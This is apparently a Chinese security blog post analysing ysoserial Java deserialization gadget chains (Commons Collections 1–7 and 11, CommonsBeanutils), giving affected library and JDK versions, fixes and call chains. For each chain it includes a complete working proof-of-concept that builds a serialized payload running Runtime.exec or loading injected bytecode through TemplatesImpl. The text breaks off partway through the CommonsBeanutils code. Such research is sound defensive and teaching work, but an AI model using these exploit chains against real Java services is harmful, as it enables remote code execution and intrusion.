主要对Ysoserial里常用链的利用原理进行分析,编写POC以及测试各个利用链适用的JDK版本,并给出修复方案。由于分析的链比较多,就不把每步分析都贴图了,主要用自己的语言来解释利用链。
Commons-Collections 3.1-3.2.1的环境,一般利用cc6或cc7链(这两条链只能执行命令,不能加载字节码,cc11可以加载字节码),没有JDK版本限制。Commons-Collections 4.0的环境用cc2或cc4都可以,没有JDK版本限制。
#Commons Collections1
Commons Collections 3.1命令执行
-
适用版本
- Commons-Collections 3.1-3.2.1
- JDK1.8以前或小于JDK1.8 u71。
-
修复方案
在JDK1.8 8u71版本以后,对AnnotationInvocationHandler的readObject()函数修改了
var1.defaultReadObject();
的调用,让setValue和LazyMap这两条链都无法触发。 -
利用链
-
setValue利用链
执行点: InvokerTransformer类的transform()函数利用反射的方式调用传入的任意对象的任意方法并返回结果。ChainedTransformer类中的transform()函数实现了对对象transform()的链式调用。由此构造出可序列化的命令执行链。
触发点: 通过TransformedMap类的setValue()函数可以触发ChainedTransformer类的transform()方法(ChainedTransformer是Transformer的子类)。而对TransformedMap的setValue操作便发生在AnnotationInvocationHandler类的readObject()函数中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() TransformedMap.entrySet().iterator().next().setValue() TransformedMap.checkSetValue() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
-
LazyMap利用链
执行点: 还是通过ChainedTransformer构造的链与上面相同。
触发点: 在LazyMap的get()函数中调用了对象的transform()方法。而在AnnotationInvocationHandler类的invoke()方法中进行了LazyMap的get操作。该类实现了InvocationHandler接口,可做为LazyMap的动态代理类。这样对象调用任意方法都会先执行AnnotationInvocationHandler类invoke()方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
-
-
POC (LazyMap)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
package cc1; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class run { public static void main(String[] args) { String cmd = "calc.exe"; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]} ), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]} ), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}) }; // 创建ChainedTransformer调用链对象 Transformer transformedChain = new ChainedTransformer(transformers); HashMap innermap = new HashMap(); LazyMap map = (LazyMap) LazyMap.decorate(innermap,transformedChain); try { Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); handler_constructor.setAccessible(true); InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); InvocationHandler handler = (InvocationHandler) handler_constructor.newInstance(Override.class, proxy_map); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(baos); out.writeObject(handler); out.flush(); byte[] bytes = baos.toByteArray(); ByteArrayInputStream bais = new ByteArrayInputStream(bytes); ObjectInputStream in = new ObjectInputStream(bais); in.readObject(); }catch(Exception e){ e.printStackTrace(); } } }
-
分析文章
- https://www.wangan.com/docs/100 (setValue链)
- http://wjlshare.com/archives/1502 (LazyMap链)
#Commons Collections2
Commons Collections 4.0加载字节码
-
适用版本
- Commons-Collections 4.0
- 测试jdk1.8 8u301、jdk11和jdk15可以正常利用,jdk16利用失败。
-
修复方案
暂无
-
利用链
TemplatesImpl类中的defineTransletClasses()方法会调用defineClass()来加载_bytecodes字段中的字节码。而defineTransletClasses方法在TemplatesImpl类的newTransformer()方法中调用。所以构造好参数,调用TemplatesImpl的newTransformer()方法便可加载自定义字节码。
TransformingComparator的compare()方法中触发了transform方法。这里可以利用InvokerTransformer反射调用任意类的任意方法。通过它来反射创建TemplatesImpl对象的newTransformer()方法加载字节码。(这里也可以接上cc1中利用链的ChainedTransformer执行命令)
触发点: 发现在PriorityQueue的readObject()方法中,调用了对象的compare()方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
ObjectInputStream.readObject() PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() TransletClassLoader.defineClass() newInstance() Runtime.getRuntime().exec()
前面半段触发点其实cc3.1也可以利用,但因为3.1中TransformingComparator没有继承Serializable接口所以无法序列化,导致后半段不能利用。
-
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
package cc2; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.*; import java.lang.reflect.Field; import java.util.PriorityQueue; public class run { public static void main(String[] args) { try { String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload = classPool.makeClass("CommonsCollections22"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置该类的静态代码块 //转换为byte数组 byte[] bytes = payload.toBytecode(); Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段 field.setAccessible(true); field.set(templatesImpl, new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组 Field field1 = templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段 field1.setAccessible(true); field1.set(templatesImpl, "test");//将templatesImpl上的_name字段设置为test InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}); //利用ChainedTransformer执行命令 没有版本限制 /* String cmd = "calc.exe"; Transformer[] transformers = new Transformer[]{ (Transformer) new ConstantTransformer(Runtime.class), (Transformer) new org.apache.commons.collections4.functors.InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]} ), (Transformer) new org.apache.commons.collections4.functors.InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]} ), (Transformer) new org.apache.commons.collections4.functors.InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}) }; //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令 Transformer transformedChain = new ChainedTransformer(new Transformer[]{}); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(transformedChain,transformers); */ TransformingComparator comparator = new TransformingComparator(transformer); //使用TransformingComparator修饰器传入transformer对象 PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。 queue.add(2); queue.add(1); Field field2 = queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段 field2.setAccessible(true); field2.set(queue, comparator);//设置queue的comparator字段值为comparator Field field3 = queue.getClass().getDeclaredField("queue");//获取queue的queue字段 field3.setAccessible(true);//暴力反射 field3.set(queue, new Object[]{templatesImpl, templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(baos); out.writeObject(queue); out.flush(); byte[] bytes2 = baos.toByteArray(); ByteArrayInputStream bais = new ByteArrayInputStream(bytes2); ObjectInputStream in = new ObjectInputStream(bais); in.readObject(); }catch (Exception e){ e.printStackTrace(); } } }
-
分析文章
#Commons Collections3
Commons Collections 3.1加载字节码
-
适用版本
- Commons-Collections 3.1-3.2.1
- 由于还是利用到AnnotationInvocationHandler类,所以利用JDK版本同cc1。
-
修复方案
同cc1
-
利用链
执行点: 在cc2中通过InvokerTransformer的transform方法反射调用TemplatesImpl的newTransformer()来加载自定义字节码。而在cc3中利用的是TrAXFilter类的构造方法,该构造方法中调用了对象的newTransformer()方法。再通过InstantiateTransformer类的transform()来调用TrAXFilter类的构造方法。但由于TrAXFilter类是不可序列化的,所以需要用到ChainedTransformer进行链式调用。
触发点: 还是通过AnnotationInvocationHandler创建Lazymap的动态代理类,在invoke函数中调用Lazymap的get方法来触发ChainedTransformer的tansform方法。
-
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
package cc3; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class run { public static void main(String[] args) { try{ String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsCollections333333333"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytes=payload.toBytecode(); Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Field field=templatesImpl.getClass().getDeclaredField("_bytecodes"); field.setAccessible(true); field.set(templatesImpl,new byte[][]{bytes}); Field field1=templatesImpl.getClass().getDeclaredField("_name"); field1.setAccessible(true); field1.set(templatesImpl,"test"); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); Map map=new HashMap(); Map lazyMap= LazyMap.decorate(map,chainedTransformer); Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap); Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler); Object object=constructor.newInstance(Override.class,map1); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(baos); out.writeObject(object); out.flush(); byte[] bytes2 = baos.toByteArray(); ByteArrayInputStream bais = new ByteArrayInputStream(bytes2); ObjectInputStream in = new ObjectInputStream(bais); in.readObject(); }catch (Exception e) { e.printStackTrace(); } } }
-
分析文章
#Commons Collections4
Commons Collections 4.0加载字节码
-
适用版本
同cc2
-
修复方案
暂无
-
利用链
执行点: cc4还是通过TrAXFilter类的构造方法来触发TemplatesImpl类的newTransformer()方法加载字节码。
触发点: 用的是cc2中PriorityQueue的readObject(),反序列化时调用了TransformingComparator的compare()方法来触发transform函数。
-
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
package cc4; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.PriorityQueue; public class run { public static void main(String[] args) { try{ String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsCollections44"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //生成字节码 byte[] bytes = payload.toBytecode(); //创建TemplatesImpl类实例,并初始化参数 Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Field field=templates.getClass().getDeclaredField("_bytecodes"); field.setAccessible(true); field.set(templates,new byte[][]{bytes}); Field name=templates.getClass().getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"test"); //还是通过TrAXFilter类的构造函数 去触发templates的newTransformer Transformer[] trans = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chian = new ChainedTransformer(trans); TransformingComparator transCom = new TransformingComparator(chian); PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1); Field com = PriorityQueue.class.getDeclaredField("comparator"); com.setAccessible(true); com.set(queue,transCom); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(baos); out.writeObject(queue); out.flush(); byte[] bytes2 = baos.toByteArray(); ByteArrayInputStream bais = new ByteArrayInputStream(bytes2); ObjectInputStream in = new ObjectInputStream(bais); in.readObject(); }catch (Exception e){ e.printStackTrace(); } } }
-
分析文章
#Commons Collections5
Commons Collections 3.1命令执行
-
适用版本
- Commons-Collections 3.1-3.2.1
- 需要SecurityManager关闭(默认关闭),该条件下测试jdk1.8 8u301和jdk 11可利用,jdk15失败。
-
修复方案
开启SecurityManager
-
利用链
执行点: 通过ChainedTransformer构造命令执行链,再利用LazyMap的get()方法来触发transform()。再通过TiedMapEntry类的getValue()可调用LazyMap的get()方法。
触发点: 在BadAttributeValueExpException类的readObject()中,调用了对象的toString()方法,而TiedMapEntry类的toString()方法调用了该类的getValue()方法。
1 2 3 4 5 6 7
BadAttributeValueExpException.readObject->TiedMapEntry.toString ->LazyMap.get->ChainedTransformer.transform ->ConstantTransformer.transform->InvokerTransformer.transform ->Method.invoke->Class.getMethod ->InvokerTransformer.transform->Method.invoke ->Runtime.getRuntime-> InvokerTransformer.transform ->Method.invoke->Runtime.exec
-
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
package cc5; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; public class run { public static void main(String[] args) { try{ ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc"})}); HashMap innermap = new HashMap(); LazyMap map = (LazyMap) LazyMap.decorate(innermap,chain); TiedMapEntry tiedmap = new TiedMapEntry(map,123); BadAttributeValueExpException poc = new BadAttributeValueExpException(1); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(poc,tiedmap); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(baos); out.writeObject(poc); out.flush(); byte[] bytes2 = baos.toByteArray(); ByteArrayInputStream bais = new ByteArrayInputStream(bytes2); ObjectInputStream in = new ObjectInputStream(bais); in.readObject(); }catch (Exception e){ e.printStackTrace(); } } }
-
分析文章
#Commons Collections6
Commons Collections 3.1命令执行
-
适用版本
- Commons-Collections 3.1-3.2.1
- 测试jdk1.8 8u301、jdk11、jdk15、jdk16可以正常利用。
-
修复方案
暂无
-
利用链
执行点: 通过ChainedTransformer构造命令执行链,再利用LazyMap的get()方法来触发
transform()
。再通过TiedMapEntry类的getValue()可调用LazyMap的get()方法。触发点: 在Hashset的readObject方法中,会去调用map的put方法,这里的map为Hashmap的对象,然后会逐步调用到TiedMapEntry类的getValue()方法。
Tips: 用idea调试的时候还没走到HashMap.put方法就弹计算器执行了。是因为idea调试的时候自动调用了map的hash()方法导致触发了执行点。这里需要在idea中关闭以下设置。
1 2 3 4 5
HashSet.readObject->HashMap.put ->HashMap.hash->TiedMapEntry.hashCode ->TiedMapEntry.getValue->LazyMap.get ->ChainedTransformer.transform->InvokerTransformer.transform ->Runtime.exec
-
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
package cc6; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map; public class run { public static void main(String[] args) { try{ Transformer Testtransformer = new ChainedTransformer(new Transformer[]{}); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; Map map=new HashMap(); Map lazyMap= LazyMap.decorate(map,Testtransformer); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1"); HashSet hashSet=new HashSet(1); hashSet.add(tiedMapEntry); lazyMap.remove("test1"); //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令 Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(Testtransformer, transformers); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(baos); out.writeObject(hashSet); out.flush(); byte[] bytes2 = baos.toByteArray(); ByteArrayInputStream bais = new ByteArrayInputStream(bytes2); ObjectInputStream in = new ObjectInputStream(bais); in.readObject(); }catch (Exception e){ } } }
-
分析文章
#Commons Collections7
Commons Collections 3.1命令执行
-
适用版本
- Commons-Collections 3.1-3.2.1
- 测试jdk1.8 8u301、jdk11、jdk15、jdk16可以正常利用。
-
修复方案
暂无
-
利用链
执行点: 利用ChainedTransformer构造命令执行。再利用LazyMap的get()方法来触发ChainedTransformer类的transform()。
触发点: 通过Hashtable的readObject()中的reconstitutionPut()函数调用到equal方法,equals方法中会调用lazymap的get方法,从而触发ChainedTransformer的transform函数。
-
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
package cc7; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; public class run { public static void main(String[] args) { try{ // Reusing transformer chain and LazyMap gadgets from previous payloads final String[] execArgs = new String[]{"calc"}; final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)}; Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ", 1); Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1); hashtable.put(lazyMap2, 2); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(transformerChain,transformers); lazyMap2.remove("yy"); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(baos); out.writeObject(hashtable); out.flush(); byte[] bytes2 = baos.toByteArray(); ByteArrayInputStream bais = new ByteArrayInputStream(bytes2); ObjectInputStream in = new ObjectInputStream(bais); in.readObject(); }catch (Exception e){ e.printStackTrace(); } } }
-
分析文章
#Commons Collections11
Commons Collections 3.1加载字节码
-
适用版本
- Commons-Collections 3.1-3.2.1
- 测试jdk1.8 8u301、jdk11和jdk15可以正常利用,jdk16利用失败。
-
修复方案
暂无
-
利用链
执行点: 利用LazyMap的get()方法来触发InvokerTransformer的transform()方法反射创建TemplatesImpl对象的newTransformer()加载字节码。再通过TiedMapEntry类的getValue()可调用LazyMap的get()方法。(和cc2类似)
触发点: 在Hashset的readObject方法中,会去调用map的put方法,这里的map为Hashmap的对象,然后会逐步调用到TiedMapEntry类的getValue()方法。(和cc6相同)
-
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109
package cc11; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; @SuppressWarnings("all") public class run { public static void main(String[] args) throws Exception { try { // 利用javasist动态创建恶意字节码 ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat"); String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错 // 转成字节码,并且反射设置 bytecodes byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); Field f0 = templates.getClass().getDeclaredField("_bytecodes"); f0.setAccessible(true); f0.set(templates, targetByteCodes); f0 = templates.getClass().getDeclaredField("_name"); f0.setAccessible(true); f0.set(templates, "name"); f0 = templates.getClass().getDeclaredField("_class"); f0.setAccessible(true); f0.set(templates, null); //最终要调用到TemplatesImpl的newTransformer()方法 InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]); HashMap innermap = new HashMap(); LazyMap map = (LazyMap) LazyMap.decorate(innermap, transformer); //利用LazyMap的get()来触发transform()。TiedMapEntry类的getValue()调用LazyMap的get()方法 TiedMapEntry tiedmap = new TiedMapEntry(map, templates); //触发点: 在Hashset的readObject方法中,会去调用map的put方法,这里的map为Hashmap的对象,然后会逐步调用到TiedMapEntry类的getValue()方法 HashSet hashset = new HashSet(1); hashset.add("gugu"); //这里必须通过反射设置key值为tiedmap,如果通过hashset.add(tiedmap)就会本地触发利用链(但不会执行),并异常退出。 Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } f.setAccessible(true); HashMap hashset_map = (HashMap) f.get(hashset); Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); } f2.setAccessible(true); Object[] array = (Object[]) f2.get(hashset_map); Object node = array[0]; if (node == null) { node = array[1]; } Field keyField = null; try { keyField = node.getClass().getDeclaredField("key"); } catch (Exception e) { keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } keyField.setAccessible(true); keyField.set(node, tiedmap); Field f3 = transformer.getClass().getDeclaredField("iMethodName"); f3.setAccessible(true); f3.set(transformer, "newTransformer"); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11")); outputStream.writeObject(hashset); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc11")); inputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } }
-
分析文章
#CommonsBeanutils
-
适用版本
- 最新版CommonsBeanutils 1.9.4也可以用(Shiro自带CommonsBeanutils 1.8.3) 。
- 无JDK版本限制。
-
修复方案
暂无
-
利用链
执行点: CommonsBeanutils中提供了一个静态方法PropertyUtils.getProperty ,让使用者可以直接调用任意JavaBean的getter方法。而TemplatesImpl类的 _outputProperties属性的getter方法中调用了newTransformer()方法,所以能利用PropertyUtils.getProperty触发字节码加载。在CommonsBeanutils#compare方法中调用了PropertyUtils.getProperty()方法。
触发点: 和cc2的触发点相同,在PriorityQueue的readObject()方法中,调用了对象的compare()方法。
-
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
package CBeanutils; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.beanutils.BeanComparator; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; public class run { public static void main(String[] args) { try{ ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat"); String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "Calc" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); TemplatesImpl templates = TemplatesImpl.class.newInstance(); setField(templates,"_name","name"); setField(templates,"_bytecodes",new byte[][]{cc.toBytecode()}); setField(templates,"_tfactory",new TransformerFactoryImpl()); setField(templates, "_class", null); BeanComparator beanComparator = new BeanComparator("outputProperties",String.CASE_INSENSITIVE_ORDER); PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator); 